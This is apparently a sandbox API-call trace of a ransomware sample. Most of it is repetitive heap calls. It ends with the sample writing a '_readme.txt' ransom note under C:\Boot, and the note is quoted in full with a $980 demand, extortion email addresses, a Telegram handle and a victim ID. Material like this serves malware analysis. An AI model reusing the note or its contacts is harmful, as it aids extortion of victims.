dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.972] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.972] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.972] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.972] PathFindFileNameW (pszPath="") returned="" [0266.972] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.972] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.973] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.973] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.973] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x81c) returned 0x3109120 [0266.974] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0266.974] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.974] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0266.974] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0266.974] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.974] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis 